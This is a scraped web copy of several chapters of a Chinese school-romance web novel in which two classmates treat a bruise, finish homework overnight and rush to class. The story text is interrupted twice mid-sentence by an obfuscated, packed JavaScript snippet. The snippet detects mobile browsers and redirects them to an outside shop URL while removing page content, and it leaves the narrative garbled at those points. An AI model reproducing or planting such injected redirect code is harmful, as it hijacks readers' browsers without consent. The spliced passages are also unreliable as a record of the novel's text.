谢知跃半踌躇半顺从地趴了下来,顺手抓了个抱枕压在怀里,盯着傅闻听乌黑的发顶犹豫道:“那你轻点……也别太轻了,我有点怕痒。” 俗话说男子汉大丈夫,谢知跃不怕打不怕痛,唯独就怕痒。怕痒就算了,偏偏腰部还是他的重灾区。 傅闻听起先还对他的话没太上心,但接下来的十分钟,他深刻领悟到了这点。 由于没有工具,他只能把药膏先抹在掌心搓热,然后再揉到谢知跃的淤青上。 可只要他的手一碰到腰,谢知跃就咯咯咯地直笑个不停,边笑还边往后缩,活像一条刚脱水的鱼,傅闻听就只能把手再挪开,等他笑完再继续。 好不容易等他笑完,他再次把药搓热,刚碰上一秒不到,谢知跃又开始咯咯咯地笑。 如此循环往复了五分钟,傅闻听终于忍无可忍了,手指压着谢知跃的两只手腕,强硬压上他的淤青,加重力道地抹开。 谢知跃起先还挣扎得厉害,叽叽喳喳地叫得像只公鸡,但随着傅闻听抹药的动作加重,他慢慢也就消停了,乖乖趴在床上任傅闻听宰割,一边被按一边哼唧。 好在谢知跃打架的时候躲得及时,虽然淤青看着可怕,实际并不严重,大概算是个皮外伤。 撞伤磕伤后的四十八小时冷敷,不能揉搓伤口,但这种范围的淤青不揉开又有概率留下痕迹。 傅闻听将药大致抹了一层,而后在“把药留给他让他四十八小时之后自己揉开”和“冒着活血的风险先把药揉开”中间迟疑了片刻,随即果断选择了后者。 ……如果把药留给谢知跃,估计不用四十八小时,两小时就不知道被他丢哪儿去了。 提前知会过谢知跃一声,考虑到实际情况,傅闻听只用了比刚刚抹药更重一些的力道。 谢知跃倒是乖乖应了没问题,躺平了任人揉圆搓扁,只是傅闻听一用力往开了揉,他就忍不住哼唧,“嗯……” 听着他声音,傅闻听动作顿了顿,忍住了没开口,换了个方向,继续把淤血往外揉开。 腰上力道一重,谢知跃感觉一股暖意上涌,又嘀咕一声:“噢……” 傅闻听额前青筋一跳,深吸一口气,试图让自己无视他,专注自己手上的事情。 偏偏他每往用力往下揉一次,谢知跃就紧跟着叫一声,还越叫越上不得台面。 直到谢知跃第十二次发出类似的声音之后,傅闻听终于忍无可忍地重重啧了一声,耳根通红地掐了下谢知跃腰上的软肉,“你能不能别喊了?再喊我不给你按了!” 被掐得下意识一缩,莫名其妙的谢知跃嗷了一声,表示很委屈:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070771|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……那不说明你技术好吗?” 傅闻听恼羞成怒,重重拍了下他的后背:“我不需要这种莫名其妙的证明!” 好不容易一番折腾,直到谢知跃举着三根手指发誓保证自己接下来一定不乱叫,两人这才各自停歇,安安分分地把药抹完。 傅闻听抽了几张纸擦干净手,一边把瓷瓶盖上:“药在桌上,四十八小时内最好冷敷,之后一天抹一次,否则可能会留疤。” 谢知跃应了声噢,懒洋洋地敞着衣服趴在床沿,假装自己是只海豹,瘫成一摊,余光就这样望着傅闻听离开房间洗手。 直到傅闻听重新走进房间,在桌上抽了两张纸擦干水珠。谢知跃忽然想起什么,紧忙一骨碌爬起来。 他膝行两步,凑近傅闻听:“你怎么还知道这些东西?几个小时要冷敷之类的?” “难道……”谢知跃自以为窥到了真相,认真思索片刻,“你想学医?” “我还以为这已经是常识了。”傅闻听面无表情地斜睨了他一眼。 “……我觉得像风油精可以喝这种的才算常识。”谢知跃拖长声调,盯着傅闻听看了片刻,忽然又凑到他边上,好奇道:“那你为什么不想回家啊?” 闻言,傅闻听擦手的动作一顿,有些奇怪地垂眼看他:“你问这个干嘛?” 谢知跃往后跪坐在小腿上,坦然地摊了摊手:“还能为啥,我好奇啊。” 傅闻听翻了个白眼,顺手把擦完手的纸巾丢进垃圾篓里,没好气道:“我叛逆期到了行了吧。” “那你这叛逆期也来得太晚了。”谢知跃若有所思,一下被他勾起往事,回忆了一番往昔风采,“我叛逆那会儿就初中了,除了学习什么都敢干,逃课打架,有一次甚至连续三天都没回家,被我姐发现了。” 话头断在这里,傅闻听默了默,忍不住追问:“然后呢?” 谢知跃:“然后被关在家里打了一天,从此再也没有叛逆期了。” “……” 难得看见傅闻听出现这种一言难尽的表情,重点是还没骂他,谢知跃很欣慰。 其实也算不上是叛逆期,就是他妈去世,他总感觉心里有股火到处没地儿发,偶尔靠逃课和打架来放松,他爸又沉浸在伤心里整天郁郁寡欢,压根就没发现儿子不在家。 还是他姐在手机里一直联系不上他俩,担忧得请了假从学校回来。发现后气得火冒三丈,连夜把谢知跃逮回来暴打了一顿,揍得谢知跃那是嗷嗷叫,又把沉浸在丧妻之痛中的谢明海骂醒,父子俩被痛斥了一晚上,最后双双醒悟。 谢知跃的叛逆期就这么轰轰烈烈的结束了。 当然,其中的复杂谢知跃懒得多说,傅闻听也不会多嘴问。毕竟被他一笔带过的叛逆期又恰巧和遗照上的日期大体重合,就算不提,傅闻听也能多少脑补出点什么。 他抿了抿唇,神色难得有些和软。仿佛不经意窥见了别人的伤痛或秘密,傅闻听心底隐约纠结着说不清道不明的复杂心绪,难得有些放空出神。 恍惚间,身后又传来声音。 “诶。”谢知跃从床沿边上探出头,凑到傅闻听身边,“那我们现在算朋友了对吧?” “……” 傅闻听抿了抿唇,站在原地,既没说话也没回头,垂着眼不知道在想什么。 谢知跃耐心地等了几秒钟,见他还是不说话,犹豫片刻,试探地说道:“你再不说话,我当你默认了?” 傅闻听既没说话,也没反驳。 谢知跃眼睛一亮:“那我是不是能抄你作业了?” 傅闻听:“……” 他眼皮一跳,沉默两秒,咬牙切齿道:“……你想都别想。” 17. 没有你我可怎么办 …… 二十分钟后,谢知跃伏在书桌上唉声叹气,笔杆夹在指节间晃来晃去,愁眉苦脸地看着眼前的英语作业。 翻来覆去地看了又看,他最终还是没忍住,仰天长叹一口气:“天不生我王丽香,八中万古如长昼。” 王丽香是英语老师的名字。 傅闻听半靠在床头,正抱着本刚从书包里翻出来的厚皮书翻看,闻言忍不住抬头,无语地翻了个白眼:“你不多说这两句早就能写完了。” 从拿出作业坐下到现在,谢知跃玩了五分钟笔,三分钟手指,一分钟喝水,剩下一分钟在发呆。 傅闻听忍不住想,如果这个世界上有无所事事比赛,谢知跃绝对能勇夺第一。 “我不说话就能写完?”谢知跃不可置信瞪大眼睛,掰着指头开始数:“顶尖课课练两页、英语活页一张,周报半面,还有单词和课文……” 他有些绝望,生无可恋地把作业往前一推:”我就算从出生开始就是哑巴也写不完吧?” 傅闻听的视线重新回到书页上,淡淡道:“强词夺理。” “哼哼哼……”谢知跃无精打采地趴回桌上,忍不住开始用笔在纸上乱涂乱画,“你觉得明天我逃脱丽香姐制裁的概率是多少?” 傅闻听往后翻了一页,毫不犹豫:“零。” 听见翻页声,谢知跃将脑袋换了个方向,面朝傅闻听,目光下瞥,注意到他手里的厚皮书,冷不丁开口:“你在看什么呢?” 他来了点兴趣,咻地直起背来,眯着眼打量那本书的封皮,可惜隔着一段距离,看不太真切:“Ha……Happy……” “快乐土豆?” 谢知跃皱了皱眉,觉得奇怪:“这是农业书?讲怎么快乐种植土豆的?” “是Harry Potter。”傅闻听忍无可忍地把书放下,瞪着眼睛看他,“哈、利、波、特。” “我好像知道!”谢知跃恍然大悟,“小时候在我姐那里看过几本!叫什么……” 他皱眉努力回想,末了猛地一拍掌心,斩钉截铁:“哈利波特与大漏勺!” 傅闻听:“……” 他深吸一口气,往后翻页:“你信不信如果你今晚没写完作业,王老师也会把你骂成漏勺?” 谢知跃坚定地点点头:“这个我信。” 他向来对此深信不疑。 领略英语老师的严苛也不是一天两天了,作为开学以来被她罚过最多次的学生,谢知跃深知这样的行为会带来什么后果,不禁重重叹息一声。 “真羡慕你。”谢知跃纠结地咬着笔头,声音有些含糊,“就算上课睡觉丽香姐也不会叫你,哪像我就天天被他叫起来……” 书还没翻两页,听到这里,傅闻听皱眉抬起头,纠正他:“我什么时候在她课上睡过觉了?” 谢知跃轻咳两声,强调道:“比喻,这是一种比喻手法。” “……”傅闻听懒得和他多计较,翻了个白眼,低头继续看书。 一页还没翻过去,书桌边上又飘来声音:“诶,为啥我从来都没见你在学校看过书啊?这书是你妈妈买的吗?” 傅闻听忍无可忍地合上书页,瞪了他一眼:“因为上课的时候你都在睡觉,谢知跃,你再不动笔今晚可以不用睡了!” “哎呀好好好。”谢知跃匆匆安抚他两句,又抓起笔杆子,“你嫌烦我就不问了嘛……” 他吸了吸鼻子,大半个身子都撑在了书桌上,单手撑住脸颊,顺势打了个哈欠,懒洋洋嘀咕道:“不过你妈有你这样的孩子真幸福啊,换成我姐,要是看见我天天都提前写完作业,估计会先喊两个道士上门驱邪。” 谢知跃一直觉得,如果老天能给他姐一个机会,在高考七百分和弟弟的脑子这两个选项上二选一,她姐绝对会毫不犹豫地按爆后者。 无他,唯手熟尔。 所幸说完这一句,谢知跃果真不再吱声,絮絮聒聒的声音一下子消失,只剩习题本的翻页声时不时响起,窸窸窣窣。 傅闻听垂眼看着手里的英文书,对谢知跃的最后一句自言自语似的嘀咕毫无反应。 额前稍长的刘海顺着弧度倾斜,轻轻落在他眼前,似乎惊扰到了视线,连带着睫毛也同样颤了颤。 昏黄的台灯透过纸页缝隙,照得一行行英文字母也跟着发亮。傅闻听的视线落在书上许久,这一页却迟迟也翻不过去。 谢知跃倒是有一句话说的不对,他妈大概不会因为有他这样的孩子而感到幸福,恰恰相反,对于世界上有没有他这件事,她大概是全天下最不在乎的那个人。 被他这一句话拉得思绪飞远,傅闻听手指搭着书脊,沉默了半晌也没说话,耳边似乎连翻书的声音都消失不见了。 ……It is our choices,Harry,that show what we truly are,far more than our abilities. 傅闻听的指尖无意识地摩梭着书页,迟疑片刻,才像是下定决心般张了张嘴:“我和我妈……关系不是很好。” “她的工作很忙,我不是她带大的。”傅闻听低声说,“而且……” 他顿了两秒,正要从沉默中继续往下说,眼皮却蓦地一跳,总是隐隐觉得哪里不太对。 似是心有所感,傅闻听冷不丁抬头,往书桌那边看了一眼。 谢知跃趴在桌上睡着了。 傅闻听:“……” 他气得重重把书一合,厚重的书脊砸到被子上发出一声闷响。 趴在桌上睡得正香的谢知跃对此毫不知情,听见动静嘟囔了两声,换了个方向继续睡,手里还攥着刚刚抄作业用的水笔。 傅闻听盯着他的侧脸生了会儿闷气,直到视线一偏,注意到谢知跃怀里压着的练习题,才侧头瞥了一眼。 整面作业歪歪斜斜地写满了蚯蚓爬似的字迹,辨认不出原本面貌的字母各自拼在一起,一行更比一行丑。 傅闻听突然有点理解王老师了,人近中年还要每天看这种东西,实在很难不发脾气。 他忍着嫌弃,又拎起其中一页往后掀开,不出所料,最后整整一面的翻译题全都还没写。 单词没背,作业也没写完,如果就这样任凭谢知跃睡到明天早上,傅闻听甚至不用特意想象,已经知道明天他究竟会承受多少怒火。 本来想将人叫醒继续写,傅闻听伸手到一半,目光落在谢知跃脸上,不知想到了什么,忽然顿住动作。 “……” 沉默半晌,傅闻听收回了手,转身离开卧室。 不多时,他很快从客厅回来,手里拎着一把塑料椅,紧接着将谢知跃边上的一小块桌面清理出来,又挨着他坐下。 昏黄的台灯闪了两下,空气中漂浮着细小的粒粒尘埃。傅闻听将灯台往自己的方向调了调,把被谢知跃的胳膊压着的练习题抽出来,低头看向这苍蝇看一眼也得头晕的字。 “……” 大概辨认了一下字母,傅闻听深吸一口气,转转手腕,从谢知跃乱七八糟的笔袋里找出一把为数不多还有水的黑笔,就着台灯的光亮,低头模仿起了谢知跃的字迹。 起先几行字还不太熟悉,总是不自觉地写得整齐,傅闻听写写停停好半天,认真地下定决心把脑子丢掉,渐入佳境,总算开始写得顺手。 沿街的路灯时不时滋滋嘎嘎地响两声,不稳定的光源总是一卡一顿,只有灰眼飞蛾孜孜不倦地扑闪翅膀,不断朝它表达爱慕。 夜逐渐深了,星空没有说话。 …… 次日,早上六点。 闹钟设定中的第一遍铃声如期响起,极大的音量混着嗡鸣声,回荡在本就不大的房间里,足以将任何处于沉睡状态中的人唤醒。 “轻轻敲醒沉睡的心灵,慢慢张开你的眼睛,看看忙碌的世界……” 趴在桌面上的谢知跃被震得浑身一激灵,条件反射似地从座椅上弹射起来,想也不想地就伸手,将闹钟径直按灭。 整个流程不超过十秒钟。 谢知跃睡得头脑发懵,完全出于肌肉记忆顺利关掉了闹钟。刚直起腰,僵硬得堪比千年老僵尸一样的后背立刻一酸,连带着四肢都微微发麻。 “嘶——”谢知跃龇牙咧嘴地扶着腰倒吸一口冷气,缓了好半天,怀疑是不是昨晚又被李坤入室揍了一顿。 与此同时,趴在他边上的傅闻听胳膊一动,睫毛颤了颤,微微蹙起眉心,很快睁开眼睛。 第一眼看见被压在胳膊下的作业本,他尚且愣了两秒,但很快反应过来,眯了眯眼睛,慢吞吞地直起身,又摸出手机看了一眼时间。 06:45。 再一转头,他就对上了谢知跃傻愣愣的视线。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070772|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埋桌伏案一晚上,谢知跃睡得头发乱翘,三两撮呆毛不安分地立在头顶,在风中摇曳舞动,愣是屹立不倒。 他打了个哈欠,末了看着傅闻听揉了揉眼睛,茫然道:“你谁啊?” 傅闻听:“……” 他眼皮一跳,毫不留情地伸手戳向谢知跃腰上的软肉。 后者大惊失色地往后一躲,看傅闻听还要再动,连忙眼疾手快地抓住他胳膊,嬉皮笑脸地讨好道:“哎呀,开个玩笑嘛……” 傅闻听没好气地翻了个白眼,盯着谢知跃抱着自己的那条胳膊,仍旧不太不自在,想把手收回来,但没拽动。 他皱了皱眉,语气不太自然:“松手。” 谢知跃噢了一声,乖乖放开了他,转眼瞥见桌上摊开的作业本,后知后觉地反应过来什么,愣了愣神,当即瞪大双眼,连忙低头去翻自己昨晚的作业:“卧槽,英语作业——” 他在桌上乱七八糟的作业和课本里翻找半天,环视一圈,最终在傅闻听肘弯下看到了熟悉了封皮,疑惑地歪歪头,一把将它拔出来:“嗯?怎么会在你那……” 作业本仍停留在止笔的最后一页,谢知跃匆匆扫了一眼,忽然顿住动作,原地愣了两秒,有些不可置信地来回翻页,看了又看。 从头看到尾,前半页的词形填空和阅读理解他还有点记忆,毕竟是他连蒙带猜往上填的,但后半页的翻译题虽然写得满满当当,可他愣是一点印象都没有。 “……”谢知跃怀疑地眯了眯眼睛,皱着眉头陷入沉思。 沉思半晌,他恍然大悟地一拍掌心,自认为有理有据地进行一番大胆的猜测:“难道我是双重人格,另一个我其实是个英语奇才,只不过平时被我强大的意识压制……” 越说觉得合理,谢知跃喜出望外,猛地一拍桌面站起身:“直到昨晚我睡着,他才有机会出来活动,顺便帮我把作业写完……” “对,你身体里是有个外国人。”傅闻听漫不经心地把笔盖合上,顺手放回了谢知跃的笔袋,毫不留情地开口,“他会趁你睡觉的时候写作业,以后你回家可以什么都不干,倒头躺下就行了。” 谢知跃被呛得一噎,悻悻闭了嘴,注意到傅闻听懒散地摸了摸脖子,又从一把不知道什么时候搬到自己身边的塑料凳子上起身。 盯着那椅子看了两秒,谢知跃愣了愣,脑中忽然灵光一闪,不敢相信地瞪大眼睛:“难道你昨晚……” 傅闻听轻哼了一声,既没说是也没说不是,冷冷道:“继续睡吧,你的田螺姑娘会替你上学去的。” 没等谢知跃反应,他起身拎起椅子,想要放回原位。谢知跃总算反应过来,低头又瞅了下作业里的笔迹,顿时一阵心花怒放,甩手就把刚刚的猜想忘到天边去,啪一声地作业本丢回桌上。 傅闻听的手刚搭上门把,还没来得及按下去,背后传来咚咚两声,脚下的木地板一震,像是有什么沉重的东西落地。 他动作一顿,下意识回头。还没看清发生了什么,眼前闪过一抹影子,身侧忽然被个像炮弹似的东西猛地一撞,整个人就跟着失去平衡。 塑料凳子猝不及防地脱手,在半空中转了两圈撞在墙上,噼里啪啦地滚了两圈,撞到床尾才可怜兮兮地停下。 谢知跃大喜过望,一个热情似火的拥抱把傅闻听扑回床上,后者毫无防备,被他压得闷哼一声,两人砸在柔软的床垫上弹了弹,撞得墙皮都抖了三抖。 谢知跃半个人都压在傅闻听身上,胳膊一伸就牢牢搂住他脖子,大喜过望地咧开嘴角:“好同桌,我就知道你不会不管我的!” 被他砸得发懵,直到眼前毛茸茸的脑袋凑上来,傅闻听后知后觉地反应过来,脸上唰一下就烧红了,恼羞成怒地挣扎,努力地伸手推开他:“你干嘛?!” “唉。”谢知跃幸福万分地叹了口气,扒着他死活不松手,任尔东西南北风,坚持收紧了胳膊,“我的好同桌,要是没有你我可怎么办啊……” 滚烫的呼吸不断落在耳侧,傅闻听一张脸涨得通红,完全不习惯这种社交距离。手肘顶住谢知跃的腰,想用力将人推开,但记起昨天的淤青,他又不太敢用力。 傅闻听试图从谢知跃炽热的怀抱里挣脱,努力在夹缝中生存,连带着说出来的话都断断续续:“你……松手!” 谢知跃深吸一口气,眼睛亮得惊人:“我不!” 傅闻听:“……” 18. 易祈开始怀疑这个故事的真实性 “……你有没有感觉哪里不太对劲?” “什么?” 杨霁珉正和人聊天,被易祈这句二丈和尚摸不着头脑的话打断,下意识皱眉反问:“你说什么?” “我说。”易祈撂下手里的笔,眉头紧皱,陷入沉思,“不知道为什么,我总觉得今天很奇怪……” 被他说得一头雾水,杨霁珉茫然地环顾四周一圈,愣是没发现什么特殊的:“……很正常啊?” 天气晴朗,微风习习,温度适宜,书声朗朗。 前排聊得热火朝天,角落在背诵古文,后排彼此狂抄作业,一切都和往常一般无二。 然而易祈摇头反驳:“不对不对……感觉少了点什么……” 他沉吟片刻,忽然抬起头看了眼黑板上方挂着的时钟,脑中灵光一闪,当即重重一拍桌子。 杨霁珉被他吓了一跳,刚要骂两句,就看见易祈一个猛地转头,指着身后两个空空如也的位置:“这俩人去哪儿了?” “……” “谢知跃?”杨霁珉怔愣一下,张张嘴,“迟到了吧?” 易祈若有所思地收回手,抵着下巴点点头:“很有道理。” 于是他又示意杨霁珉看另一边:“那傅闻听呢?” “……” 易祈坚定不移:“我就觉得哪里空落落的。” “万一……”杨霁珉轻嘶一声,皱眉合理推测:“只是又请假了呢?去医院体检啥的?” “他这学期请过假了吧。”易祈笃定道,”我记得他差不多一个月复查一次,这还没一个月呢。” 于是两人又不约而同地陷入沉思。 “……” 僵持不下之际,走廊上咚咚咚震了两下,紧接着是几道凌乱的脚步声,像是有人从楼梯口狂奔过来。 易祈和杨霁珉几乎是同时回头,眼睁睁看着两道人影从虚掩的后门一闪而过。 ? 下一秒,谢知跃的脑袋从门缝里缓缓探了出来。 易祈:“……” 杨霁珉:“……” 他鬼鬼祟祟地伸进来半截头,小心翼翼地朝讲台上看了一眼,见没有老师,这才放心,肉眼可见地松了口气。 刚想把头收回去,余光不经意地一瞟,谢知跃就和角落里的两人对上视线。 六目相对。 谢知跃朝两人挑了挑眉。 “……”杨霁珉沉默两秒,“不知道为什么,这个表情看得我很火大。” 易祈:“……我也是。” 顾不上搭理两人,谢知跃原路把脑袋缩了回去。 紧接着,后门摇摇晃晃地被推开一道足以通过一人的狭窄细缝,他一动不动地站在走廊上,左顾右盼地来回张望,像是在替什么人望风。 易祈和杨霁珉双双愣了愣,还没反应过来,下一秒,面无表情的傅闻听忽然从谢知跃背后走了出来。 易祈:“……” 杨霁珉:“……” 傅闻听目不斜视地走到座位边上,神态自若。谢知跃则紧跟在他身后,将书包重重砸在桌上,往后一靠坐回凳子上,长舒一口气。 将因为奔波而略显凌乱的头发往后一撩,他还有些劫后余生的庆幸,朝傅闻听碎碎念道:“你看,我就说我运气好吧,这不刚刚好赶上……” 旁边的傅闻听没好气地朝他翻了个白眼,没说话。 兴许是一路匆忙的缘故,他面色略显苍白,薄唇抿得死紧,比平常看着更冷冰冰了,一言不发地从书包里往外拿书。 两人后来足足拉扯了将近半小时才出门,赶到公交站台的时候已经赶不上车。于是谢知跃说自己知道一条捷径,带着傅闻听一路长途跋涉,途中几次他试图走快点,转头就被谢知跃拽住不让动,硬说他身体不好,死活不让傅闻听跟着跑。 也亏运气好,不知道值班老师是不是碰巧去上了厕所,校门口空无一人,两人好歹才混进来,紧接着又是一路奔波。 想到早上的匆忙经历,傅闻听生闷气,傅闻听不想说话。 易祈看得一头雾水,迟疑片刻,纠结下还是先问了谢知跃:“你今天又睡过头了?” “我这叫压轴出场。”谢知跃挑了挑眉,吊儿郎当地把书包往桌上一推,声调上扬,“听没听过一句话,主角都是最后登场的。” 说着,他顺手将拉链一开,埋头在书包里翻了翻,摸到什么东西,动作忽然一顿。 谢知跃疑惑地嗯了一声,紧接着从夹层里摸出两本一模一样的英语周报,仔细辨认一下,随即恍然大悟,转头自然地将其中一份递给傅闻听:“噢,不小心被我收进去了。” 傅闻听瞥他一眼,一言不发地伸手接过。 见证全程的易祈和杨霁珉:“……” 沉默半晌,易祈怀疑自己的眼球是不是偷偷回家看青春文艺校园电影了,留他一个人来上学,否则怎么能看到这个画面。 虽然傅闻听还是平常那副爱答不理的样子,但易祈总感觉二人间的气氛有一丝微妙的改变。 但即便他有满腹疑问想说,碍于傅闻听还在还在边上,他总不好意思开口,只能转头去喊谢知跃:“英语作业我写了一半,快抄完了,你等我抄完马上给你。” 谢知跃的脸上忽然露出一种奇异的笑容。 易祈眼睁睁看着他从座位上跳起来,迅速将怀里的作业逐一摊开在桌上,叉着腰仰天长笑:“哈哈哈哈哈!我写完了!” ? 易祈瞪大眼睛,震惊程度无异于刚刚看见谢知跃和傅闻听一起从教室外走进来,惊愕反问:“真的假的?” 他啪地一声放下笔就转过来,匆匆伸手去翻谢知跃的作业。 谢知跃大大方方地把课课练往他面前一推,故作惋惜:“唉,我还觉得作业有点少呢。” 傅闻听面无表情地看他一眼。 趁易祈还没看过来,谢知跃连忙双手合十,虔诚地哀求他别拆穿自己。 傅闻听:“……” 傅闻听翻了个白眼,把头转回去了。 易祈没顾得上看两人的互动,满心满眼地沉浸在谢知跃这几份奇丑无比但写得满满当当的作业里。 他神情恍惚,盯着这几张像模像样的作业喃喃自语:“我天呢,连你都写完作业了,今天老马还不得穿高跟鞋来上课……” 老马是他们班的历史老师,年近五十,头发稀疏,神态慈祥,声音平和,讲课的声音使人昏昏欲睡。每次他一来上课,谢知跃就感觉是一颗成精的大安眠药在走上讲台。 当然,最重要的是,老马性别为男。 谢知跃觉得易祈在鄙视自己,试图为自己控诉反驳:“难道我在你眼里就是这种天天不写作业的形象吗?” 易祈意味深长地看了他一眼。 谢知跃觉得这视线里包含了很多情绪,包括对他刚刚那句话的肯定,他决定假装看不到。 “……” 八中的早操通常都在第二节课间进行,每个年段的学生错峰做操,即高一周三周五早操,高二周二周四早操,周一全年段升旗。 换而言之,轮到各自年段不用做操的那天,第二节的课后就有将近半小时的休息时间。 早上一路奔波赶得太匆忙,谢知跃和傅闻听都没来得及吃早餐,前者饿得前胸贴后背,肚子咕咕咕地叫个不停,还没下课就迫不及待地戳了戳易祈,问他要不要一起共赴小卖部。 头两节是大安眠药精的历史课,他向来对学生在底下窸窸窣窣的动静睁一只眼闭一只眼,不怎么管纪律问题。易祈胆子也大了点,和谢知跃叽叽喳喳讨论两句,欣然应允和他同行。 于是谢知跃又凑到傅闻听边上压低声音,问他去不去,不负众望地得到了否定的答案。 谢知跃有些纳闷:“你连早餐都没吃,真不去买点啥?” 傅闻听目不斜视地盯着黑板,冷冰冰拒绝道:“不去。” “那去校门边上看看?”谢知跃想了想,给出一个解决方案,“我记得好像有卖饭团和鸡蛋汉堡之类的……” 傅闻听拒绝了这个解决方案。 努力回忆了一下校门口丰富的小摊,谢知跃苦思冥想许久,记起一个就报一个,偏偏无一例外都被傅闻听回绝。 傅闻听皱了皱眉,干脆利落地全部一口回绝道:“我都不想吃。” 谢知跃大惊,居然有人能拒绝早餐一条街的诱惑? 努力将以上选项全部排除,谢知跃甚至开始怀疑傅闻听每天早上是不是只喝露水,费解道:”那你平常都吃什么?” 傅闻听:“……三明治,煎蛋之类的。” “每天都吃这些?面包夹鸡蛋?”谢知跃若有所思道,“鸡蛋汉堡也是面包夹鸡蛋。” 甚至还有酸菜补充膳食纤维。 “……”傅闻听扯了扯嘴角,没好气道:“医生建议我最好不要 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谢知跃轻描淡写地应了声哦:“他昨晚住我家,今早我们俩起迟了,所以一路走来的。” 易祈:“……?” 谁住你家? 他满眼恍惚,整个人晃了又晃,忍不住伸手摸了摸谢知跃的脑门,喃喃道:“是你发烧还是我发烧了?怎么我老听着胡话呢……” “呵。”谢知跃任他用手背贴来贴去,又朝他得意地摆摆食指,“少年,你对我的魅力一无所知。” 易祈:“……” 他急着知道到底是怎么回事,催着谢知跃赶快给他讲讲过程。 谢知跃想想该怎么形容,又把有关傅闻听家里的那部分隐去,简短地和易祈讲了一遍昨晚的事情,顺带添加了一点艺术修饰。 讲到勇敢无畏的英雄少年在回家的路上碰巧遇到被无耻混混围堵的优秀学生时,易祈出声打断他,狐疑道:“难道昨晚不是你主动缠着傅闻听一起回……” 谢知跃果断道:“这并不重要。” 易祈:“……” 讲到优秀学生瑟瑟发抖地在角落里可怜巴巴地求救,英勇少年毅然决然地选择见义勇为时,易祈犹豫着再一次伸手打断:“不好意思,我怎么感觉这段也……” 谢知跃义正词严:“这也不重要!” 易祈:“……” ……直到听完这一大段添油加醋、几乎全是艺术成分的故事后,易祈欲言又止,怀疑昨晚其实是傅闻听奋不顾身地救了谢知跃。 “总而言之,言而总之。”谢知跃讲得口干舌燥,好不容易说到英勇少年把混混送进警局,伸手从货架上拿了瓶优の冻,轻咳两声,“大概就是这么回事,等我们出来的时候已经太晚了,我就让他先在我家睡了一觉。” 易祈开始怀疑这个故事是不是只有名字才是真的。 他迟疑半晌,刚想再问,就被谢知跃的话打断。 “诶,这贝奇野菜怎么没有常温的了?”谢知跃在货架边上反复徘徊了两圈,有些疑惑。 “没有常温的你买冰的呗,今天有三十多度啊。”易祈走到他边上,看了眼谢知跃手里,“你不是买了优の冻吗?” “噢,我想买给傅闻听的,我看他早上没吃早餐。”谢知跃轻描淡写道,又走到冰柜边上摸了摸饮料瓶的温度,觉得还行。不是很冰,揣在怀里从小卖部带到教室,一路上应该就温了。 看他一副努力钻研怎么把瓶子捂热的劲头,易祈都快怀疑谢知跃是不是偷偷背着自己谈了个对象。 但努力想象了一下谢知跃谈恋爱的样子,嘘寒问暖,无微不至…… 易祈打了个冷颤,不寒而栗,简直不敢再想了。 他盯着谢知跃不断用手试温度的模样,欲言又止,有点怀疑人生:“难道傅闻听也来大姨妈?” 谢知跃又挑了两三种面包,抱着往收银台走,头也不回道:“滚蛋,大早上喝冰的多不好啊。” 易祈看着他的背影活像在看一个稀奇物件,快走两步跟上去:“大哥,我今天早上带的水也是刚从冰柜拿出来的,你不也照喝不误?” “那怎么能一样。”两人一前一后地排在结账的队伍后边,谢知跃煞有介事地应他:“万一把傅闻听冻感冒了怎么办?” 易祈:“……” 为什么没人关心一下他喝冰水感不感冒? 19. 傅闻听第一定理 不知道此刻的悲伤是从早上那杯冰水而来,还是出于一种白菜被猪拱了的遗憾,易祈扼腕叹息:“什么时候我也能有这种待遇。” 谢知跃怀里抱着东西,腾不出手,笑着用肩膀撞了他一下:“行啊,让我想想……” 前面的人结完账离开,二人继续往前走,一边把东西放上收银台。 “大概……”谢知跃合理猜测,“你每天提前二十四小时写完作业,然后拿给杨霁珉……” 易祈猛一激灵,眼神透露出前所未有的清明,意识到自己要付出什么样的代价,连忙感激地拍了拍谢知跃的肩膀:“谢谢你啊神医,一下子就把我治好了。” 下一节是王丽香的英语课,两人不敢耽搁太久,干脆合在一块儿结账,东西收在同一个大购物袋里。 从小卖部出来,易祈顺手接过袋子,想从里面翻出自己买的矿泉水,只是越找越纳闷,疑惑谢知跃怎么净是买一些鸡蛋糕、全麦土司之类的寡淡又干巴的小面包。 他刚想问两句,脑中忽地灵光一闪,联想到刚刚的情况,慢了半拍的易祈总算后知后觉地恍然大悟,脱口而出:“对哦,傅闻听是不是不能喝冰的,因为他那个……” 说到一半,他反应过来,意识到在小卖部这种人流量大的地方讲这事儿不太好,于是硬生生又把后半截没说完的话咽回去。 谢知跃往外走了一截路,没听清他说了什么,回头又问:“啊?你说什么?” “就是……就是他那个……”易祈欲言又止地张了张嘴,小心翼翼四下观望一圈,这才凑到谢知跃耳边悄声道,“我说你怎么硬要买常温的……他那个病的问题,是不是连冰水也不能喝啊?” 谢知跃闻言愣了愣,老实巴交地摇摇头:“不知道。” “你不知道?”没料到他是这个反应,易祈讶异地瞪大眼睛,觉得奇怪,“那你干嘛那么执着地想买温的?” 谢知跃撇撇嘴,耸了耸肩,实话实说:“哪有那么多理由,想买就买了喽。” 他只是直觉认为应该买温的,硬要说为什么……总不能说是他和傅闻听见面第一天闹得那一场例假乌龙干的好事吧? 谢知跃本能地打了个寒噤,感觉这个理由要是说出来,绝对会被傅闻听砍成臊子。 